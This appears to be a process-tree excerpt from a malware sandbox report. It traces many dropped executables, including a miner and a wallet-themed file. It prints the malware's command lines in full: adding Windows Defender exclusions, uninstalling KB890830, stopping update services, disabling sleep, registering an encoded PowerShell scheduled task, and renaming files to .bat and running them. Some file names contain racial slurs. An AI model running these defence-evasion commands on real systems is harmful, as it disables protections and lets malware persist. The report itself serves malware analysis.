-
-
C:\Windows\System32\SzKjlio.exeC:\Windows\System32\SzKjlio.exe3⤵
-
-
C:\Windows\System32\YODKasf.exeC:\Windows\System32\YODKasf.exe3⤵
-
-
C:\Windows\System32\knJMBCU.exeC:\Windows\System32\knJMBCU.exe3⤵
-
-
C:\Windows\System32\ELIDeiI.exeC:\Windows\System32\ELIDeiI.exe3⤵
-
-
C:\Windows\System32\polBBNG.exeC:\Windows\System32\polBBNG.exe3⤵
-
-
C:\Windows\System32\wERvyay.exeC:\Windows\System32\wERvyay.exe3⤵
-
-
C:\Windows\System32\mLHoeiO.exeC:\Windows\System32\mLHoeiO.exe3⤵
-
-
C:\Windows\System32\STZRlDv.exeC:\Windows\System32\STZRlDv.exe3⤵
-
-
C:\Windows\System32\ILAbwRp.exeC:\Windows\System32\ILAbwRp.exe3⤵
-
-
C:\Windows\System32\tBNZLZP.exeC:\Windows\System32\tBNZLZP.exe3⤵
-
-
C:\Windows\System32\oAqglIC.exeC:\Windows\System32\oAqglIC.exe3⤵
-
-
C:\Windows\System32\wgHmhmU.exeC:\Windows\System32\wgHmhmU.exe3⤵
-
-
C:\Windows\System32\YlMRqjS.exeC:\Windows\System32\YlMRqjS.exe3⤵
-
-
C:\Windows\System32\yQvYVJs.exeC:\Windows\System32\yQvYVJs.exe3⤵
-
-
C:\Windows\System32\uQeHZld.exeC:\Windows\System32\uQeHZld.exe3⤵
-
-
C:\Windows\System32\veOhVtn.exeC:\Windows\System32\veOhVtn.exe3⤵
-
-
C:\Windows\System32\PAjfHzR.exeC:\Windows\System32\PAjfHzR.exe3⤵
-
-
C:\Windows\System32\kJHJQXD.exeC:\Windows\System32\kJHJQXD.exe3⤵
-
-
C:\Windows\System32\TAuoTzT.exeC:\Windows\System32\TAuoTzT.exe3⤵
-
-
C:\Windows\System32\TKmNmvo.exeC:\Windows\System32\TKmNmvo.exe3⤵
-
-
C:\Windows\System32\IUbFofP.exeC:\Windows\System32\IUbFofP.exe3⤵
-
-
C:\Windows\System32\zhuolJc.exeC:\Windows\System32\zhuolJc.exe3⤵
-
-
C:\Windows\System32\cKFRxmo.exeC:\Windows\System32\cKFRxmo.exe3⤵
-
-
C:\Windows\System32\eZuxvDh.exeC:\Windows\System32\eZuxvDh.exe3⤵
-
-
C:\Windows\System32\IJOFjYf.exeC:\Windows\System32\IJOFjYf.exe3⤵
-
-
C:\Windows\System32\bQZAwVk.exeC:\Windows\System32\bQZAwVk.exe3⤵
-
-
C:\Windows\System32\DDLJSSM.exeC:\Windows\System32\DDLJSSM.exe3⤵
-
-
C:\Windows\System32\VNHeBAp.exeC:\Windows\System32\VNHeBAp.exe3⤵
-
-
C:\Windows\System32\nGbymqE.exeC:\Windows\System32\nGbymqE.exe3⤵
-
-
C:\Windows\System32\gWbYJEG.exeC:\Windows\System32\gWbYJEG.exe3⤵
-
-
C:\Windows\System32\GUOkHOd.exeC:\Windows\System32\GUOkHOd.exe3⤵
-
-
C:\Windows\System32\HeiVUUP.exeC:\Windows\System32\HeiVUUP.exe3⤵
-
-
C:\Windows\System32\IwlrbLW.exeC:\Windows\System32\IwlrbLW.exe3⤵
-
-
C:\Windows\System32\QGqkFZU.exeC:\Windows\System32\QGqkFZU.exe3⤵
-
-
C:\Windows\System32\dXaQOZE.exeC:\Windows\System32\dXaQOZE.exe3⤵
-
-
C:\Windows\System32\doPKLag.exeC:\Windows\System32\doPKLag.exe3⤵
-
-
C:\Windows\System32\vGmyhLW.exeC:\Windows\System32\vGmyhLW.exe3⤵
-
-
C:\Windows\System32\kInevho.exeC:\Windows\System32\kInevho.exe3⤵
-
-
C:\Windows\System32\vdAzWum.exeC:\Windows\System32\vdAzWum.exe3⤵
-
-
C:\Windows\System32\cDbZEos.exeC:\Windows\System32\cDbZEos.exe3⤵
-
-
C:\Windows\System32\pQyRUGF.exeC:\Windows\System32\pQyRUGF.exe3⤵
-
-
C:\Windows\System32\uAZbtKH.exeC:\Windows\System32\uAZbtKH.exe3⤵
-
-
C:\Windows\System32\bpOHpRu.exeC:\Windows\System32\bpOHpRu.exe3⤵
-
-
C:\Windows\System32\dhJkdEO.exeC:\Windows\System32\dhJkdEO.exe3⤵
-
-
C:\Windows\System32\eRvGVRg.exeC:\Windows\System32\eRvGVRg.exe3⤵
-
-
C:\Windows\System32\niQgAsY.exeC:\Windows\System32\niQgAsY.exe3⤵
-
-
C:\Windows\System32\uaWRyJn.exeC:\Windows\System32\uaWRyJn.exe3⤵
-
-
C:\Windows\System32\GTXIBKv.exeC:\Windows\System32\GTXIBKv.exe3⤵
-
-
C:\Windows\System32\ZBdQZjR.exeC:\Windows\System32\ZBdQZjR.exe3⤵
-
-
C:\Windows\System32\YiUHjJL.exeC:\Windows\System32\YiUHjJL.exe3⤵
-
-
C:\Windows\System32\ToVSjrf.exeC:\Windows\System32\ToVSjrf.exe3⤵
-
-
C:\Windows\System32\gePlPYt.exeC:\Windows\System32\gePlPYt.exe3⤵
-
-
C:\Windows\System32\ryHRyVY.exeC:\Windows\System32\ryHRyVY.exe3⤵
-
-
C:\Windows\System32\OfvDFkO.exeC:\Windows\System32\OfvDFkO.exe3⤵
-
-
C:\Windows\System32\ysJIDKd.exeC:\Windows\System32\ysJIDKd.exe3⤵
-
-
C:\Windows\System32\xNhqkDd.exeC:\Windows\System32\xNhqkDd.exe3⤵
-
-
C:\Windows\System32\sAvOjCP.exeC:\Windows\System32\sAvOjCP.exe3⤵
-
-
C:\Windows\System32\blSXpIE.exeC:\Windows\System32\blSXpIE.exe3⤵
-
-
C:\Windows\System32\sFvuXAK.exeC:\Windows\System32\sFvuXAK.exe3⤵
-
-
C:\Windows\System32\NFGBAHj.exeC:\Windows\System32\NFGBAHj.exe3⤵
-
-
C:\Windows\System32\gxvOHSQ.exeC:\Windows\System32\gxvOHSQ.exe3⤵
-
-
C:\Windows\System32\qTwclht.exeC:\Windows\System32\qTwclht.exe3⤵
-
-
C:\Windows\System32\cIBZfJt.exeC:\Windows\System32\cIBZfJt.exe3⤵
-
-
C:\Windows\System32\gVzDSXO.exeC:\Windows\System32\gVzDSXO.exe3⤵
-
-
C:\Windows\System32\wEaRcOo.exeC:\Windows\System32\wEaRcOo.exe3⤵
-
-
C:\Windows\System32\uPYpDqj.exeC:\Windows\System32\uPYpDqj.exe3⤵
-
-
C:\Windows\System32\hFcsuya.exeC:\Windows\System32\hFcsuya.exe3⤵
-
-
C:\Windows\System32\PWoIfwO.exeC:\Windows\System32\PWoIfwO.exe3⤵
-
-
C:\Windows\System32\mTchzvr.exeC:\Windows\System32\mTchzvr.exe3⤵
-
-
C:\Windows\System32\xtyNSpe.exeC:\Windows\System32\xtyNSpe.exe3⤵
-
-
C:\Windows\System32\bBPueyi.exeC:\Windows\System32\bBPueyi.exe3⤵
-
-
C:\Windows\System32\toxRgvY.exeC:\Windows\System32\toxRgvY.exe3⤵
-
-
C:\Windows\System32\DHZcjHt.exeC:\Windows\System32\DHZcjHt.exe3⤵
-
-
C:\Windows\System32\rbyKNOs.exeC:\Windows\System32\rbyKNOs.exe3⤵
-
-
C:\Windows\System32\mCoYwQl.exeC:\Windows\System32\mCoYwQl.exe3⤵
-
-
C:\Windows\System32\uJBmZKk.exeC:\Windows\System32\uJBmZKk.exe3⤵
-
-
C:\Windows\System32\pLfUVLq.exeC:\Windows\System32\pLfUVLq.exe3⤵
-
-
C:\Windows\System32\pFjWXxx.exeC:\Windows\System32\pFjWXxx.exe3⤵
-
-
C:\Windows\System32\OJyZcnC.exeC:\Windows\System32\OJyZcnC.exe3⤵
-
-
C:\Windows\System32\aZPqLfv.exeC:\Windows\System32\aZPqLfv.exe3⤵
-
-
C:\Windows\System32\HbcWYzy.exeC:\Windows\System32\HbcWYzy.exe3⤵
-
-
C:\Windows\System32\wSonfLA.exeC:\Windows\System32\wSonfLA.exe3⤵
-
-
C:\Windows\System32\LUzewdb.exeC:\Windows\System32\LUzewdb.exe3⤵
-
-
C:\Windows\System32\WfUpWmu.exeC:\Windows\System32\WfUpWmu.exe3⤵
-
-
C:\Windows\System32\hqCCwml.exeC:\Windows\System32\hqCCwml.exe3⤵
-
-
C:\Windows\System32\MxqsVnX.exeC:\Windows\System32\MxqsVnX.exe3⤵
-
-
C:\Windows\System32\VCmsbff.exeC:\Windows\System32\VCmsbff.exe3⤵
-
-
C:\Windows\System32\SrGozbT.exeC:\Windows\System32\SrGozbT.exe3⤵
-
-
C:\Windows\System32\ozkuEeX.exeC:\Windows\System32\ozkuEeX.exe3⤵
-
-
C:\Windows\System32\GsuSHbq.exeC:\Windows\System32\GsuSHbq.exe3⤵
-
-
C:\Windows\System32\llAjdZe.exeC:\Windows\System32\llAjdZe.exe3⤵
-
-
C:\Windows\System32\PldnuBC.exeC:\Windows\System32\PldnuBC.exe3⤵
-
-
C:\Windows\System32\ItNiwOj.exeC:\Windows\System32\ItNiwOj.exe3⤵
-
-
C:\Windows\System32\uneEzmi.exeC:\Windows\System32\uneEzmi.exe3⤵
-
-
C:\Windows\System32\HpSdVTX.exeC:\Windows\System32\HpSdVTX.exe3⤵
-
-
C:\Windows\System32\EgwDAfh.exeC:\Windows\System32\EgwDAfh.exe3⤵
-
-
C:\Windows\System32\AbNVASv.exeC:\Windows\System32\AbNVASv.exe3⤵
-
-
C:\Windows\System32\fxnKJyc.exeC:\Windows\System32\fxnKJyc.exe3⤵
-
-
C:\Windows\System32\iBrFIfN.exeC:\Windows\System32\iBrFIfN.exe3⤵
-
-
C:\Windows\System32\IdKUNrv.exeC:\Windows\System32\IdKUNrv.exe3⤵
-
-
C:\Windows\System32\jAKuzNR.exeC:\Windows\System32\jAKuzNR.exe3⤵
-
-
C:\Windows\System32\HjwPqUg.exeC:\Windows\System32\HjwPqUg.exe3⤵
-
-
C:\Windows\System32\fOCtSqU.exeC:\Windows\System32\fOCtSqU.exe3⤵
-
-
C:\Windows\System32\vQmCwKw.exeC:\Windows\System32\vQmCwKw.exe3⤵
-
-
C:\Windows\System32\vxdbJeA.exeC:\Windows\System32\vxdbJeA.exe3⤵
-
-
C:\Windows\System32\ixTwHkz.exeC:\Windows\System32\ixTwHkz.exe3⤵
-
-
C:\Windows\System32\vWEirJi.exeC:\Windows\System32\vWEirJi.exe3⤵
-
-
C:\Windows\System32\aihHZYk.exeC:\Windows\System32\aihHZYk.exe3⤵
-
-
C:\Windows\System32\QnmMCDI.exeC:\Windows\System32\QnmMCDI.exe3⤵
-
-
C:\Windows\System32\mZmLrFN.exeC:\Windows\System32\mZmLrFN.exe3⤵
-
-
C:\Windows\System32\KgxWnmo.exeC:\Windows\System32\KgxWnmo.exe3⤵
-
-
C:\Windows\System32\PNYwKnE.exeC:\Windows\System32\PNYwKnE.exe3⤵
-
-
C:\Windows\System32\TXWCtno.exeC:\Windows\System32\TXWCtno.exe3⤵
-
-
C:\Windows\System32\EBJTdUk.exeC:\Windows\System32\EBJTdUk.exe3⤵
-
-
C:\Windows\System32\LZwJlXz.exeC:\Windows\System32\LZwJlXz.exe3⤵
-
-
C:\Windows\System32\HEZvedT.exeC:\Windows\System32\HEZvedT.exe3⤵
-
-
C:\Windows\System32\DHLCVMw.exeC:\Windows\System32\DHLCVMw.exe3⤵
-
-
C:\Windows\System32\xOrqFBC.exeC:\Windows\System32\xOrqFBC.exe3⤵
-
-
C:\Windows\System32\mAzLUjn.exeC:\Windows\System32\mAzLUjn.exe3⤵
-
-
C:\Windows\System32\WYLbNUa.exeC:\Windows\System32\WYLbNUa.exe3⤵
-
-
C:\Windows\System32\HeXkVtb.exeC:\Windows\System32\HeXkVtb.exe3⤵
-
-
C:\Windows\System32\gpwpcjw.exeC:\Windows\System32\gpwpcjw.exe3⤵
-
-
C:\Windows\System32\ouEwpKu.exeC:\Windows\System32\ouEwpKu.exe3⤵
-
-
C:\Windows\System32\rBVKNpV.exeC:\Windows\System32\rBVKNpV.exe3⤵
-
-
C:\Windows\System32\WKoYcEL.exeC:\Windows\System32\WKoYcEL.exe3⤵
-
-
C:\Windows\System32\IptZPEx.exeC:\Windows\System32\IptZPEx.exe3⤵
-
-
C:\Windows\System32\KnUYCEz.exeC:\Windows\System32\KnUYCEz.exe3⤵
-
-
C:\Windows\System32\vJWEplR.exeC:\Windows\System32\vJWEplR.exe3⤵
-
-
C:\Windows\System32\yWWWIIa.exeC:\Windows\System32\yWWWIIa.exe3⤵
-
-
C:\Windows\System32\eoMBdJv.exeC:\Windows\System32\eoMBdJv.exe3⤵
-
-
C:\Windows\System32\uzbflCS.exeC:\Windows\System32\uzbflCS.exe3⤵
-
-
C:\Windows\System32\sUKgvoW.exeC:\Windows\System32\sUKgvoW.exe3⤵
-
-
C:\Windows\System32\ogJtBuN.exeC:\Windows\System32\ogJtBuN.exe3⤵
-
-
C:\Windows\System32\imLxEEX.exeC:\Windows\System32\imLxEEX.exe3⤵
-
-
C:\Windows\System32\WWHIqny.exeC:\Windows\System32\WWHIqny.exe3⤵
-
-
C:\Windows\System32\BFluwLz.exeC:\Windows\System32\BFluwLz.exe3⤵
-
-
C:\Windows\System32\pFPjgRr.exeC:\Windows\System32\pFPjgRr.exe3⤵
-
-
C:\Windows\System32\LvpgHEm.exeC:\Windows\System32\LvpgHEm.exe3⤵
-
-
C:\Windows\System32\cNOGpvO.exeC:\Windows\System32\cNOGpvO.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\funny78.exe"C:\Users\Admin\AppData\Local\Temp\funny78.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\funny78Srv.exeC:\Users\Admin\AppData\Local\Temp\funny78Srv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2772 -s 3204⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 3283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4672 -s 5363⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\k1t.exe"C:\Users\Admin\AppData\Local\Temp\k1t.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\LB3.exe"C:\Users\Admin\AppData\Local\Temp\LB3.exe"2⤵
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\8RsL970.exe"C:\Users\Admin\AppData\Local\Temp\a\8RsL970.exe"3⤵
-
C:\Windows\SYSTEM32\attrib.exeattrib.exe4⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\cmd.execmd /c move Titans.mpg Titans.mpg.bat && Titans.mpg.bat4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\UctjX9B.exe"C:\Users\Admin\AppData\Local\Temp\a\UctjX9B.exe"3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\jusched.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jusched.exeC:\Users\Admin\AppData\Local\Temp\jusched.exe5⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\CLIENT~1.EXE"4⤵
-
C:\Users\Admin\AppData\Local\Temp\CLIENT~1.EXEC:\Users\Admin\AppData\Local\Temp\CLIENT~1.EXE5⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\miner.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\miner.exeC:\Users\Admin\AppData\Local\Temp\miner.exe5⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "System"6⤵
- Launches sc.exe
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\update.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\91DNBcl.exe"C:\Users\Admin\AppData\Local\Temp\a\91DNBcl.exe"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\rTVfrvv.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\rTVfrvv.exeC:\Users\Admin\AppData\Local\Temp\a\rTVfrvv.exe4⤵
-
C:\Windows\SYSTEM32\attrib.exeattrib.exe5⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\cmd.execmd /c move Exposure.mui Exposure.mui.bat && Exposure.mui.bat5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\xobi.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\xobi.exeC:\Users\Admin\AppData\Local\Temp\a\xobi.exe4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe7⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\020820~1.EXE"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Software.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\random.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\random.exeC:\Users\Admin\AppData\Local\Temp\a\random.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\122.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\122.exeC:\Users\Admin\AppData\Local\Temp\a\122.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\122.exe"C:\Users\Admin\AppData\Local\Temp\a\122.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBlAGQAcgBjAG4AZABlAHIALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGUAZAByAGMAbgBkAGUAcgAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1.exeC:\Users\Admin\AppData\Local\Temp\a\1.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\INSTAL~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\INSTAL~1.EXEC:\Users\Admin\AppData\Local\Temp\a\INSTAL~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXEC:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXE4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "c:\progra~1\common~1\system\symsrv.dll.000"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "c:\progra~1\common~1\system\symsrv.dll.000"5⤵
-
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveUnattended.exe"C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveUnattended.exe" -regsvc5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exeC:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\ssls.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\ssls.exeC:\Users\Admin\AppData\Local\Temp\a\ssls.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exeC:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\svchron.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nigganet.exe"C:\Users\Admin\AppData\Local\Temp\nigganet.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\oi.exe"C:\Users\Admin\AppData\Local\Temp\oi.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\oi.exeC:\Users\Admin\AppData\Local\Temp\oi.exe3⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe4⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe5⤵
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\System32\omsecor.exe6⤵
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\SysWOW64\omsecor.exe7⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe8⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"10⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"10⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.tmp"10⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.tmp"10⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16884 -s 4209⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16044 -s 4287⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2540 -s 3005⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 3003⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"2⤵
-
